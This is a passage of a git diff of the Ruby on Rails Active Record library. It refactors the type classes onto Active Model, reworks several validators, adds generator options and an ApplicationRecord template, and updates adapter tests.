b/activerecord/lib/active_record/type/date_time.rb index a5199959b9..1fb9380ecd 100644 --- a/activerecord/lib/active_record/type/date_time.rb +++ b/activerecord/lib/active_record/type/date_time.rb @@ -1,44 +1,7 @@ module ActiveRecord module Type - class DateTime < Value # :nodoc: - include Helpers::TimeValue - include Helpers::AcceptsMultiparameterTime.new( - defaults: { 4 => 0, 5 => 0 } - ) - - def type - :datetime - end - - private - - def cast_value(string) - return string unless string.is_a?(::String) - return if string.empty? - - fast_string_to_time(string) || fallback_string_to_time(string) - end - - # '0.123456' -> 123456 - # '1.123456' -> 123456 - def microseconds(time) - time[:sec_fraction] ? (time[:sec_fraction] * 1_000_000).to_i : 0 - end - - def fallback_string_to_time(string) - time_hash = ::Date._parse(string) - time_hash[:sec_fraction] = microseconds(time_hash) - - new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction, :offset)) - end - - def value_from_multiparameter_assignment(values_hash) - missing_parameter = (1..3).detect { |key| !values_hash.key?(key) } - if missing_parameter - raise ArgumentError, missing_parameter - end - super - end + class DateTime < ActiveModel::Type::DateTime + include Internal::Timezone end end end diff --git a/activerecord/lib/active_record/type/hash_lookup_type_map.rb b/activerecord/lib/active_record/type/hash_lookup_type_map.rb index 82d9327fc0..3b01e3f8ca 100644 --- a/activerecord/lib/active_record/type/hash_lookup_type_map.rb +++ b/activerecord/lib/active_record/type/hash_lookup_type_map.rb @@ -1,12 +1,18 @@ module ActiveRecord module Type class HashLookupTypeMap < TypeMap # :nodoc: - delegate :key?, to: :@mapping - def alias_type(type, alias_type) register_type(type) { |_, *args| lookup(alias_type, *args) } end + def key?(key) + @mapping.key?(key) + end + + def keys + @mapping.keys + end + private def perform_fetch(type, *args, &block) diff --git a/activerecord/lib/active_record/type/helpers.rb b/activerecord/lib/active_record/type/helpers.rb deleted file mode 100644 index 634d417d13..0000000000 --- a/activerecord/lib/active_record/type/helpers.rb +++ /dev/null @@ -1,4 +0,0 @@ -require 'active_record/type/helpers/accepts_multiparameter_time' -require 'active_record/type/helpers/numeric' -require 'active_record/type/helpers/mutable' -require 'active_record/type/helpers/time_value' diff --git a/activerecord/lib/active_record/type/internal/abstract_json.rb b/activerecord/lib/active_record/type/internal/abstract_json.rb new file mode 100644 index 0000000000..513c938088 --- /dev/null +++ b/activerecord/lib/active_record/type/internal/abstract_json.rb @@ -0,0 +1,29 @@ +module ActiveRecord + module Type + module Internal # :nodoc: + class AbstractJson < ActiveModel::Type::Value # :nodoc: + include ActiveModel::Type::Helpers::Mutable + + def type + :json + end + + def deserialize(value) + if value.is_a?(::String) + ::ActiveSupport::JSON.decode(value) rescue nil + else + value + end + end + + def serialize(value) + ::ActiveSupport::JSON.encode(value) + end + + def accessor + ActiveRecord::Store::StringKeyedHashAccessor + end + end + end + end +end diff --git a/activerecord/lib/active_record/type/internal/timezone.rb b/activerecord/lib/active_record/type/internal/timezone.rb new file mode 100644 index 0000000000..947e06158a --- /dev/null +++ b/activerecord/lib/active_record/type/internal/timezone.rb @@ -0,0 +1,15 @@ +module ActiveRecord + module Type + module Internal + module Timezone + def is_utc? + ActiveRecord::Base.default_timezone == :utc + end + + def default_timezone + ActiveRecord::Base.default_timezone + end + end + end + end +end diff --git a/activerecord/lib/active_record/type/serialized.rb b/activerecord/lib/active_record/type/serialized.rb index 732029c723..a3a5241780 100644 --- a/activerecord/lib/active_record/type/serialized.rb +++ b/activerecord/lib/active_record/type/serialized.rb @@ -1,7 +1,7 @@ module ActiveRecord module Type - class Serialized < DelegateClass(Type::Value) # :nodoc: - include Helpers::Mutable + class Serialized < DelegateClass(ActiveModel::Type::Value) # :nodoc: + include ActiveModel::Type::Helpers::Mutable attr_reader :subtype, :coder @@ -26,20 +26,38 @@ module ActiveRecord end end + def inspect + Kernel.instance_method(:inspect).bind(self).call + end + def changed_in_place?(raw_old_value, value) return false if value.nil? - subtype.changed_in_place?(raw_old_value, serialize(value)) + raw_new_value = encoded(value) + raw_old_value.nil? != raw_new_value.nil? || + subtype.changed_in_place?(raw_old_value, raw_new_value) end def accessor ActiveRecord::Store::IndifferentHashAccessor end + def assert_valid_value(value) + if coder.respond_to?(:assert_valid_value) + coder.assert_valid_value(value) + end + end + private def default_value?(value) value == coder.load(nil) end + + def encoded(value) + unless default_value?(value) + coder.dump(value) + end + end end end end diff --git a/activerecord/lib/active_record/type/string.rb b/activerecord/lib/active_record/type/string.rb deleted file mode 100644 index 2662b7e874..0000000000 --- a/activerecord/lib/active_record/type/string.rb +++ /dev/null @@ -1,36 +0,0 @@ -module ActiveRecord - module Type - class String < Value # :nodoc: - def type - :string - end - - def changed_in_place?(raw_old_value, new_value) - if new_value.is_a?(::String) - raw_old_value != new_value - end - end - - def serialize(value) - case value - when ::Numeric, ActiveSupport::Duration then value.to_s - when ::String then ::String.new(value) - when true then "t" - when false then "f" - else super - end - end - - private - - def cast_value(value) - case value - when true then "t" - when false then "f" - # String.new is slightly faster than dup - else ::String.new(value.to_s) - end - end - end - end -end diff --git a/activerecord/lib/active_record/type/time.rb b/activerecord/lib/active_record/type/time.rb index 19a10021bc..7da49e43c7 100644 --- a/activerecord/lib/active_record/type/time.rb +++ b/activerecord/lib/active_record/type/time.rb @@ -1,42 +1,20 @@ module ActiveRecord module Type - class Time < Value # :nodoc: - include Helpers::TimeValue - include Helpers::AcceptsMultiparameterTime.new( - defaults: { 1 => 1970, 2 => 1, 3 => 1, 4 => 0, 5 => 0 } - ) + class Time < ActiveModel::Type::Time + include Internal::Timezone - def type - :time + class Value < DelegateClass(::Time) # :nodoc: end - def user_input_in_time_zone(value) - return unless value.present? - - case value - when ::String - value = "2000-01-01 #{value}" + def serialize(value) + case value = super when ::Time - value = value.change(year: 2000, day: 1, month: 1) - end - - super(value) - end - - private - - def cast_value(value) - return value unless value.is_a?(::String) - return if value.empty? - - dummy_time_value = "2000-01-01 #{value}" - - fast_string_to_time(dummy_time_value) || begin - time_hash = ::Date._parse(dummy_time_value) - return if time_hash[:hour].nil? - new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction)) + Value.new(value) + else + value end end end end end + diff --git a/activerecord/lib/active_record/type/type_map.rb b/activerecord/lib/active_record/type/type_map.rb index 09f5ba6b74..850a7a4e09 100644 --- a/activerecord/lib/active_record/type/type_map.rb +++ b/activerecord/lib/active_record/type/type_map.rb @@ -1,12 +1,12 @@ -require 'thread_safe' +require 'concurrent/map' module ActiveRecord module Type class TypeMap # :nodoc: def initialize @mapping = {} - @cache = ThreadSafe::Cache.new do |h, key| - h.fetch_or_store(key, ThreadSafe::Cache.new) + @cache = Concurrent::Map.new do |h, key| + h.fetch_or_store(key, Concurrent::Map.new) end end @@ -57,7 +57,7 @@ module ActiveRecord end def default_value - @default_value ||= Value.new + @default_value ||= ActiveModel::Type::Value.new end end end diff --git a/activerecord/lib/active_record/type_caster.rb b/activerecord/lib/active_record/type_caster.rb index 63ba10c289..accc339d00 100644 --- a/activerecord/lib/active_record/type_caster.rb +++ b/activerecord/lib/active_record/type_caster.rb @@ -2,6 +2,6 @@ require 'active_record/type_caster/map' require 'active_record/type_caster/connection' module ActiveRecord - module TypeCaster + module TypeCaster # :nodoc: end end diff --git a/activerecord/lib/active_record/type_caster/connection.rb b/activerecord/lib/active_record/type_caster/connection.rb index 3878270770..7ed8dcc313 100644 --- a/activerecord/lib/active_record/type_caster/connection.rb +++ b/activerecord/lib/active_record/type_caster/connection.rb @@ -1,6 +1,6 @@ module ActiveRecord module TypeCaster - class Connection + class Connection # :nodoc: def initialize(klass, table_name) @klass = klass @table_name = table_name @@ -20,7 +20,7 @@ module ActiveRecord private def column_for(attribute_name) - if connection.schema_cache.table_exists?(table_name) + if connection.schema_cache.data_source_exists?(table_name) connection.schema_cache.columns_hash(table_name)[attribute_name.to_s] end end diff --git a/activerecord/lib/active_record/type_caster/map.rb b/activerecord/lib/active_record/type_caster/map.rb index 4b1941351c..3a367b3999 100644 --- a/activerecord/lib/active_record/type_caster/map.rb +++ b/activerecord/lib/active_record/type_caster/map.rb @@ -1,6 +1,6 @@ module ActiveRecord module TypeCaster - class Map + class Map # :nodoc: def initialize(types) @types = types end diff --git a/activerecord/lib/active_record/validations.rb b/activerecord/lib/active_record/validations.rb index e227212827..ecaf04e39e 100644 --- a/activerecord/lib/active_record/validations.rb +++ b/activerecord/lib/active_record/validations.rb @@ -1,8 +1,9 @@ module ActiveRecord - # = Active Record RecordInvalid + # = Active Record \RecordInvalid # - # Raised by <tt>save!</tt> and <tt>create!</tt> when the record is invalid. Use the - # +record+ method to retrieve the record which did not validate. + # Raised by {ActiveRecord::Base#save!}[rdoc-ref:Persistence#save!] and + # {ActiveRecord::Base#create!}[rdoc-ref:Persistence::ClassMethods#create!] when the record is invalid. + # Use the #record method to retrieve the record which did not validate. # # begin # complex_operation_that_internally_calls_save! @@ -12,33 +13,39 @@ module ActiveRecord class RecordInvalid < ActiveRecordError attr_reader :record - def initialize(record) - @record = record - errors = @record.errors.full_messages.join(", ") - super(I18n.t(:"#{@record.class.i18n_scope}.errors.messages.record_invalid", :errors => errors, :default => :"errors.messages.record_invalid")) + def initialize(record = nil) + if record + @record = record + errors = @record.errors.full_messages.join(", ") + message = I18n.t(:"#{@record.class.i18n_scope}.errors.messages.record_invalid", errors: errors, default: :"errors.messages.record_invalid") + else + message = "Record invalid" + end + + super(message) end end - # = Active Record Validations + # = Active Record \Validations # - # Active Record includes the majority of its validations from <tt>ActiveModel::Validations</tt> + # Active Record includes the majority of its validations from ActiveModel::Validations # all of which accept the <tt>:on</tt> argument to define the context where the # validations are active. Active Record will always supply either the context of # <tt>:create</tt> or <tt>:update</tt> dependent on whether the model is a - # <tt>new_record?</tt>. + # {new_record?}[rdoc-ref:Persistence#new_record?]. module Validations extend ActiveSupport::Concern include ActiveModel::Validations # The validation process on save can be skipped by passing <tt>validate: false</tt>. - # The regular Base#save method is replaced with this when the validations - # module is mixed in, which it is by default. + # The regular {ActiveRecord::Base#save}[rdoc-ref:Persistence#save] method is replaced + # with this when the validations module is mixed in, which it is by default. def save(options={}) perform_validations(options) ? super : false end - # Attempts to save the record just like Base#save but will raise a +RecordInvalid+ - # exception instead of returning +false+ if the record is not valid. + # Attempts to save the record just like {ActiveRecord::Base#save}[rdoc-ref:Base#save] but + # will raise an ActiveRecord::RecordInvalid exception instead of returning +false+ if the record is not valid. def save!(options={}) perform_validations(options) ? super : raise_validation_error end @@ -46,15 +53,15 @@ module ActiveRecord # Runs all the validations within the specified context. Returns +true+ if # no errors are found, +false+ otherwise. # - # Aliased as validate. + # Aliased as #validate. # # If the argument is +false+ (default is +nil+), the context is set to <tt>:create</tt> if - # <tt>new_record?</tt> is +true+, and to <tt>:update</tt> if it is not. + # {new_record?}[rdoc-ref:Persistence#new_record?] is +true+, and to <tt>:update</tt> if it is not. # - # Validations with no <tt>:on</tt> option will run no matter the context. Validations with + # \Validations with no <tt>:on</tt> option will run no matter the context. \Validations with # some <tt>:on</tt> option will only run in the specified context. def valid?(context = nil) - context ||= (new_record? ? :create : :update) + context ||= default_validation_context output = super(context) errors.empty? && output end @@ -63,6 +70,10 @@ module ActiveRecord protected + def default_validation_context + new_record? ? :create : :update + end + def raise_validation_error raise(RecordInvalid.new(self)) end @@ -76,4 +87,5 @@ end require "active_record/validations/associated" require "active_record/validations/uniqueness" require "active_record/validations/presence" +require "active_record/validations/absence" require "active_record/validations/length" diff --git a/activerecord/lib/active_record/validations/absence.rb b/activerecord/lib/active_record/validations/absence.rb new file mode 100644 index 0000000000..641d041f3d --- /dev/null +++ b/activerecord/lib/active_record/validations/absence.rb @@ -0,0 +1,23 @@ +module ActiveRecord + module Validations + class AbsenceValidator < ActiveModel::Validations::AbsenceValidator # :nodoc: + def validate_each(record, attribute, association_or_value) + if record.class._reflect_on_association(attribute) + association_or_value = Array.wrap(association_or_value).reject(&:marked_for_destruction?) + end + super + end + end + + module ClassMethods + # Validates that the specified attributes are not present (as defined by + # Object#present?). If the attribute is an association, the associated object + # is considered absent if it was marked for destruction. + # + # See ActiveModel::Validations::HelperMethods.validates_absence_of for more information. + def validates_absence_of(*attr_names) + validates_with AbsenceValidator, _merge_attributes(attr_names) + end + end + end +end diff --git a/activerecord/lib/active_record/validations/associated.rb b/activerecord/lib/active_record/validations/associated.rb index 47ccef31a5..b14db85167 100644 --- a/activerecord/lib/active_record/validations/associated.rb +++ b/activerecord/lib/active_record/validations/associated.rb @@ -2,10 +2,16 @@ module ActiveRecord module Validations class AssociatedValidator < ActiveModel::EachValidator #:nodoc: def validate_each(record, attribute, value) - if Array.wrap(value).reject {|r| r.marked_for_destruction? || r.valid?}.any? - record.errors.add(attribute, :invalid, options.merge(:value => value)) + if Array(value).reject { |r| valid_object?(r) }.any? + record.errors.add(attribute, :invalid, options.merge(value: value)) end end + + private + + def valid_object?(record) + (record.respond_to?(:marked_for_destruction?) && record.marked_for_destruction?) || record.valid? + end end module ClassMethods @@ -24,7 +30,8 @@ module ActiveRecord # # NOTE: This validation will not fail if the association hasn't been # assigned. If you want to ensure that the association is both present and - # guaranteed to be valid, you also need to use +validates_presence_of+. + # guaranteed to be valid, you also need to use + # {validates_presence_of}[rdoc-ref:Validations::ClassMethods#validates_presence_of]. # # Configuration options: # diff --git a/activerecord/lib/active_record/validations/length.rb b/activerecord/lib/active_record/validations/length.rb index 5991fbad8e..0e0cebce4a 100644 --- a/activerecord/lib/active_record/validations/length.rb +++ b/activerecord/lib/active_record/validations/length.rb @@ -2,27 +2,18 @@ module ActiveRecord module Validations class LengthValidator < ActiveModel::Validations::LengthValidator # :nodoc: def validate_each(record, attribute, association_or_value) - return unless should_validate?(record) || associations_are_dirty?(record) if association_or_value.respond_to?(:loaded?) && association_or_value.loaded? association_or_value = association_or_value.target.reject(&:marked_for_destruction?) end super end - - def associations_are_dirty?(record) - attributes.any? do |attribute| - value = record.read_attribute_for_validation(attribute) - if value.respond_to?(:loaded?) && value.loaded? - value.target.any?(&:marked_for_destruction?) - else - false - end - end - end end module ClassMethods - # See <tt>ActiveModel::Validation::LengthValidator</tt> for more information. + # Validates that the specified attributes match the length restrictions supplied. + # If the attribute is an association, records that are marked for destruction are not counted. + # + # See ActiveModel::Validations::HelperMethods.validates_length_of for more information. def validates_length_of(*attr_names) validates_with LengthValidator, _merge_attributes(attr_names) end diff --git a/activerecord/lib/active_record/validations/presence.rb b/activerecord/lib/active_record/validations/presence.rb index 75d5bd5a35..ad82ea66c4 100644 --- a/activerecord/lib/active_record/validations/presence.rb +++ b/activerecord/lib/active_record/validations/presence.rb @@ -1,18 +1,11 @@ module ActiveRecord module Validations class PresenceValidator < ActiveModel::Validations::PresenceValidator # :nodoc: - def validate(record) - return unless should_validate?(record) - super - attributes.each do |attribute| - next unless record.class._reflect_on_association(attribute) - associated_records = Array.wrap(record.send(attribute)) - - # Superclass validates presence. Ensure present records aren't about to be destroyed. - if associated_records.present? && associated_records.all?(&:marked_for_destruction?) - record.errors.add(attribute, :blank, options) - end + def validate_each(record, attribute, association_or_value) + if record.class._reflect_on_association(attribute) + association_or_value = Array.wrap(association_or_value).reject(&:marked_for_destruction?) end + super end end @@ -37,12 +30,17 @@ module ActiveRecord # This is due to the way Object#blank? handles boolean values: # <tt>false.blank? # => true</tt>. # - # This validator defers to the ActiveModel validation for presence, adding the + # This validator defers to the Active Model validation for presence, adding the # check to see that an associated object is not marked for destruction. This # prevents the parent object from validating successfully and saving, which then # deletes the associated object, thus putting the parent object into an invalid # state. # + # NOTE: This validation will not fail while using it with an association + # if the latter was assigned but not valid. If you want to ensure that + # it is both present and valid, you also need to use + # {validates_associated}[rdoc-ref:Validations::ClassMethods#validates_associated]. + # # Configuration options: # * <tt>:message</tt> - A custom error message (default is: "can't be blank"). # * <tt>:on</tt> - Specifies the contexts where this validation is active. @@ -59,7 +57,7 @@ module ActiveRecord # or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The method, # proc or string should return or evaluate to a +true+ or +false+ value. # * <tt>:strict</tt> - Specifies whether validation should be strict. - # See <tt>ActiveModel::Validation#validates!</tt> for more information. + # See ActiveModel::Validation#validates! for more information. def validates_presence_of(*attr_names) validates_with PresenceValidator, _merge_attributes(attr_names) end diff --git a/activerecord/lib/active_record/validations/uniqueness.rb b/activerecord/lib/active_record/validations/uniqueness.rb index 9be4b10a55..1f59276137 100644 --- a/activerecord/lib/active_record/validations/uniqueness.rb +++ b/activerecord/lib/active_record/validations/uniqueness.rb @@ -11,13 +11,18 @@ module ActiveRecord end def validate_each(record, attribute, value) - return unless should_validate?(record) finder_class = find_finder_class_for(record) table = finder_class.arel_table value = map_enum_attribute(finder_class, attribute, value) relation = build_relation(finder_class, table, attribute, value) - relation = relation.where.not(finder_class.primary_key => record.id) if record.persisted? + if record.persisted? + if finder_class.primary_key + relation = relation.where.not(finder_class.primary_key => record.id_was || record.id) + else + raise UnknownPrimaryKey.new(finder_class, "Can not validate uniqueness for persisted record without primary key.") + end + end relation = scope_relation(record, table, relation) relation = relation.merge(options[:conditions]) if options[:conditions] @@ -51,23 +56,17 @@ module ActiveRecord value = value.attributes[reflection.klass.primary_key] unless value.nil? end - attribute_name = attribute.to_s - # the attribute may be an aliased attribute - if klass.attribute_aliases[attribute_name] - attribute = klass.attribute_aliases[attribute_name] - attribute_name = attribute.to_s + if klass.attribute_alias?(attribute) + attribute = klass.attribute_alias(attribute) end + attribute_name = attribute.to_s + column = klass.columns_hash[attribute_name] cast_type = klass.type_for_attribute(attribute_name) value = cast_type.serialize(value) value = klass.connection.type_cast(value) - if value.is_a?(String) && column.limit - value = value.to_s[0, column.limit] - end - - value = Arel::Nodes::Quoted.new(value) comparison = if !options[:case_sensitive] && !value.nil? # will use SQL LOWER function before comparison, unless it detects a case insensitive collation @@ -75,7 +74,14 @@ module ActiveRecord else klass.connection.case_sensitive_comparison(table, attribute, column, value) end - klass.unscoped.where(comparison) + if value.nil? + klass.unscoped.where(comparison) + else + bind = Relation::QueryAttribute.new(attribute_name, value, Type::Value.new) + klass.unscoped.where(comparison, bind) + end + rescue RangeError + klass.none end def scope_relation(record, table, relation) @@ -164,7 +170,8 @@ module ActiveRecord # # === Concurrency and integrity # - # Using this validation method in conjunction with ActiveRecord::Base#save + # Using this validation method in conjunction with + # {ActiveRecord::Base#save}[rdoc-ref:Persistence#save] # does not guarantee the absence of duplicate record insertions, because # uniqueness checks on the application level are inherently prone to race # conditions. For example, suppose that two users try to post a Comment at @@ -201,12 +208,12 @@ module ActiveRecord # This could even happen if you use transactions with the 'serializable' # isolation level. The best way to work around this problem is to add a unique # index to the database table using - # ActiveRecord::ConnectionAdapters::SchemaStatements#add_index. In the - # rare case that a race condition occurs, the database will guarantee + # {connection.add_index}[rdoc-ref:ConnectionAdapters::SchemaStatements#add_index]. + # In the rare case that a race condition occurs, the database will guarantee # the field's uniqueness. # # When the database catches such a duplicate insertion, - # ActiveRecord::Base#save will raise an ActiveRecord::StatementInvalid + # {ActiveRecord::Base#save}[rdoc-ref:Persistence#save] will raise an ActiveRecord::StatementInvalid # exception. You can either choose to let this error propagate (which # will result in the default Rails exception page being shown), or you # can catch it and restart the transaction (e.g. by telling the user @@ -222,7 +229,6 @@ module ActiveRecord # # The following bundled adapters throw the ActiveRecord::RecordNotUnique exception: # - # * ActiveRecord::ConnectionAdapters::MysqlAdapter. # * ActiveRecord::ConnectionAdapters::Mysql2Adapter. # * ActiveRecord::ConnectionAdapters::SQLite3Adapter. # * ActiveRecord::ConnectionAdapters::PostgreSQLAdapter. diff --git a/activerecord/lib/rails/generators/active_record/migration.rb b/activerecord/lib/rails/generators/active_record/migration.rb index b7418cf42f..c2b2209638 100644 --- a/activerecord/lib/rails/generators/active_record/migration.rb +++ b/activerecord/lib/rails/generators/active_record/migration.rb @@ -13,6 +13,13 @@ module ActiveRecord ActiveRecord::Migration.next_migration_number(next_migration_number) end end + + private + + def primary_key_type + key_type = options[:primary_key_type] + ", id: :#{key_type}" if key_type + end end end end diff --git a/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb b/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb index 7a3c6f5e95..4e5872b585 100644 --- a/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb +++ b/activerecord/lib/rails/generators/active_record/migration/migration_generator.rb @@ -5,6 +5,8 @@ module ActiveRecord class MigrationGenerator < Base # :nodoc: argument :attributes, :type => :array, :default => [], :banner => "field[:type][:index] field[:type][:index]" + class_option :primary_key_type, type: :string, desc: "The type for primary key" + def create_migration_file set_local_assigns! validate_file_name! @@ -14,10 +16,9 @@ module ActiveRecord protected attr_reader :migration_action, :join_tables - # sets the default migration template that is being used for the generation of the migration - # depending on the arguments which would be sent out in the command line, the migration template - # and the table name instance variables are setup. - + # Sets the default migration template that is being used for the generation of the migration. + # Depending on command line arguments, the migration template and the table name instance + # variables are set up. def set_local_assigns! @migration_template = "migration.rb" case file_name @@ -56,6 +57,8 @@ module ActiveRecord attributes.select { |a| !a.reference? && a.has_index? } end + # A migration file name can only contain underscores (_), lowercase characters, + # and numbers 0-9. Any other file name will raise an IllegalMigrationNameError. def validate_file_name! unless file_name =~ /^[_a-z0-9]+$/ raise IllegalMigrationNameError.new(file_name) diff --git a/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb b/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb index 5b3e57dcf6..5f7201cfe1 100644 --- a/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb +++ b/activerecord/lib/rails/generators/active_record/migration/templates/create_table_migration.rb @@ -1,6 +1,6 @@ -class <%= migration_class_name %> < ActiveRecord::Migration +class <%= migration_class_name %> < ActiveRecord::Migration[<%= ActiveRecord::Migration.current_version %>] def change - create_table :<%= table_name %> do |t| + create_table :<%= table_name %><%= primary_key_type %> do |t| <% attributes.each do |attribute| -%> <% if attribute.password_digest? -%> t.string :password_digest<%= attribute.inject_options %> diff --git a/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb b/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb index 23a377db6a..481c70201b 100644 --- a/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb +++ b/activerecord/lib/rails/generators/active_record/migration/templates/migration.rb @@ -1,4 +1,4 @@ -class <%= migration_class_name %> < ActiveRecord::Migration +class <%= migration_class_name %> < ActiveRecord::Migration[<%= ActiveRecord::Migration.current_version %>] <%- if migration_action == 'add' -%> def change <% attributes.each do |attribute| -%> @@ -19,7 +19,11 @@ class <%= migration_class_name %> < ActiveRecord::Migration def change create_join_table :<%= join_tables.first %>, :<%= join_tables.second %> do |t| <%- attributes.each do |attribute| -%> + <%- if attribute.reference? -%> + t.references :<%= attribute.name %><%= attribute.inject_options %> + <%- else -%> <%= '# ' unless attribute.has_index? -%>t.index <%= attribute.index_name %><%= attribute.inject_index_options %> + <%- end -%> <%- end -%> end end diff --git a/activerecord/lib/rails/generators/active_record/model/model_generator.rb b/activerecord/lib/rails/generators/active_record/model/model_generator.rb index 7e8d68ce69..f191eff5bf 100644 --- a/activerecord/lib/rails/generators/active_record/model/model_generator.rb +++ b/activerecord/lib/rails/generators/active_record/model/model_generator.rb @@ -7,14 +7,13 @@ module ActiveRecord check_class_collision - class_option :migration, :type => :boolean - class_option :timestamps, :type => :boolean - class_option :parent, :type => :string, :desc => "The parent class for the generated model" - class_option :indexes, :type => :boolean, :default => true, :desc => "Add indexes for references and belongs_to columns" + class_option :migration, type: :boolean + class_option :timestamps, type: :boolean + class_option :parent, type: :string, desc: "The parent class for the generated model" + class_option :indexes, type: :boolean, default: true, desc: "Add indexes for references and belongs_to columns" + class_option :primary_key_type, type: :string, desc: "The type for primary key" - # creates the migration file for the model. - def create_migration_file return unless options[:migration] && options[:parent].nil? attributes.each { |a| a.attr_options.delete(:index) if a.reference? && !a.has_index? } if options[:indexes] == false @@ -23,30 +22,56 @@ module ActiveRecord def create_model_file template 'model.rb', File.join('app/models', class_path, "#{file_name}.rb") + generate_application_record end def create_module_file return if regular_class_path.empty? template 'module.rb', File.join('app/models', "#{class_path.join('/')}.rb") if behavior == :invoke - end - - def attributes_with_index - attributes.select { |a| !a.reference? && a.has_index? } - end - - def accessible_attributes - attributes.reject(&:reference?) + generate_application_record end hook_for :test_framework protected + def attributes_with_index + attributes.select { |a| !a.reference? && a.has_index? } + end + + # FIXME: Change this file to a symlink once RubyGems 2.5.0 is required. + def generate_application_record + if self.behavior == :invoke && !application_record_exist? + template 'application_record.rb', application_record_file_name + end + end + # Used by the migration template to determine the parent name of the model def parent_class_name - options[:parent] || "ActiveRecord::Base" + options[:parent] || determine_default_parent_class + end + + def application_record_exist? + file_exist = nil + in_root { file_exist = File.exist?(application_record_file_name) } + file_exist end + def application_record_file_name + @application_record_file_name ||= if mountable_engine? + "app/models/#{namespaced_path}/application_record.rb" + else + 'app/models/application_record.rb' + end + end + + def determine_default_parent_class + if application_record_exist? + "ApplicationRecord" + else + "ActiveRecord::Base" + end + end end end end diff --git a/activerecord/lib/rails/generators/active_record/model/templates/application_record.rb b/activerecord/lib/rails/generators/active_record/model/templates/application_record.rb new file mode 100644 index 0000000000..60050e0bf8 --- /dev/null +++ b/activerecord/lib/rails/generators/active_record/model/templates/application_record.rb @@ -0,0 +1,5 @@ +<% module_namespacing do -%> +class ApplicationRecord < ActiveRecord::Base + self.abstract_class = true +end +<% end -%> diff --git a/activerecord/test/active_record/connection_adapters/fake_adapter.rb b/activerecord/test/active_record/connection_adapters/fake_adapter.rb index 49a68fb94c..43c817e057 100644 --- a/activerecord/test/active_record/connection_adapters/fake_adapter.rb +++ b/activerecord/test/active_record/connection_adapters/fake_adapter.rb @@ -7,7 +7,7 @@ module ActiveRecord module ConnectionAdapters class FakeAdapter < AbstractAdapter - attr_accessor :tables, :primary_keys + attr_accessor :data_sources, :primary_keys @columns = Hash.new { |h,k| h[k] = [] } class << self @@ -16,7 +16,7 @@ module ActiveRecord def initialize(connection, logger) super - @tables = [] + @data_sources = [] @primary_keys = {} @columns = self.class.columns end @@ -37,7 +37,7 @@ module ActiveRecord @columns[table_name] end - def table_exists?(*) + def data_source_exists?(*) true end diff --git a/activerecord/test/cases/adapter_test.rb b/activerecord/test/cases/adapter_test.rb index 1712ff0ac6..34e3bc9d66 100644 --- a/activerecord/test/cases/adapter_test.rb +++ b/activerecord/test/cases/adapter_test.rb @@ -2,6 +2,7 @@ require "cases/helper" require "models/book" require "models/post" require "models/author" +require "models/event" module ActiveRecord class AdapterTest < ActiveRecord::TestCase @@ -11,7 +12,8 @@ module ActiveRecord ## # PostgreSQL does not support null bytes in strings - unless current_adapter?(:PostgreSQLAdapter) + unless current_adapter?(:PostgreSQLAdapter) || + (current_adapter?(:SQLite3Adapter) && !ActiveRecord::Base.connection.prepared_statements) def test_update_prepared_statement b = Book.create(name: "my \x00 book") b.reload @@ -22,8 +24,15 @@ module ActiveRecord end end + def test_create_record_with_pk_as_zero + Book.create(id: 0) + assert_equal 0, Book.find(0).id + assert_nothing_raised { Book.destroy(0) } + end + def test_tables - tables = @connection.tables + tables = nil + ActiveSupport::Deprecation.silence { tables = @connection.tables } assert tables.include?("accounts") assert tables.include?("authors") assert tables.include?("tasks") @@ -31,9 +40,30 @@ module ActiveRecord end def test_table_exists? - assert @connection.table_exists?("accounts") - assert !@connection.table_exists?("nonexistingtable") - assert !@connection.table_exists?(nil) + ActiveSupport::Deprecation.silence do + assert @connection.table_exists?("accounts") + assert !@connection.table_exists?("nonexistingtable") + assert !@connection.table_exists?(nil) + end + end + + def test_table_exists_checking_both_tables_and_views_is_deprecated + assert_deprecated { @connection.table_exists?("accounts") } + end + + def test_data_sources + data_sources = @connection.data_sources + assert data_sources.include?("accounts") + assert data_sources.include?("authors") + assert data_sources.include?("tasks") + assert data_sources.include?("topics") + end + + def test_data_source_exists? + assert @connection.data_source_exists?("accounts") + assert @connection.data_source_exists?(:accounts) + assert_not @connection.data_source_exists?("nonexistingtable") + assert_not @connection.data_source_exists?(nil) end def test_indexes @@ -57,13 +87,24 @@ module ActiveRecord @connection.remove_index(:accounts, :name => idx_name) rescue nil end + def test_remove_index_when_name_and_wrong_column_name_specified + index_name = "accounts_idx" + + @connection.add_index :accounts, :firm_id, :name => index_name + assert_raises ArgumentError do + @connection.remove_index :accounts, :name => index_name, :column => :wrong_column_name + end + ensure + @connection.remove_index(:accounts, :name => index_name) + end + def test_current_database if @connection.respond_to?(:current_database) assert_equal ARTest.connection_config['arunit']['database'], @connection.current_database end end - if current_adapter?(:MysqlAdapter) + if current_adapter?(:Mysql2Adapter) def test_charset assert_not_nil @connection.charset assert_not_equal 'character_set_database', @connection.charset @@ -136,14 +177,16 @@ module ActiveRecord def test_uniqueness_violations_are_translated_to_specific_exception @connection.execute "INSERT INTO subscribers(nick) VALUES('me')" - assert_raises(ActiveRecord::RecordNotUnique) do + error = assert_raises(ActiveRecord::RecordNotUnique) do @connection.execute "INSERT INTO subscribers(nick) VALUES('me')" end + + assert_not_nil error.cause end unless current_adapter?(:SQLite3Adapter) def test_foreign_key_violations_are_translated_to_specific_exception - assert_raises(ActiveRecord::InvalidForeignKey) do + error = assert_raises(ActiveRecord::InvalidForeignKey) do # Oracle adapter uses prefetched primary key values from sequence and passes them to connection adapter insert method if @connection.prefetch_primary_key? id_value = @connection.next_sequence_value(@connection.default_sequence_name("fk_test_has_fk", "id")) @@ -152,6 +195,8 @@ module ActiveRecord @connection.execute "INSERT INTO fk_test_has_fk (fk_id) VALUES (0)" end end + + assert_not_nil error.cause end def test_foreign_key_violations_are_translated_to_specific_exception_with_validate_false @@ -159,11 +204,21 @@ module ActiveRecord self.table_name = 'fk_test_has_fk' end - 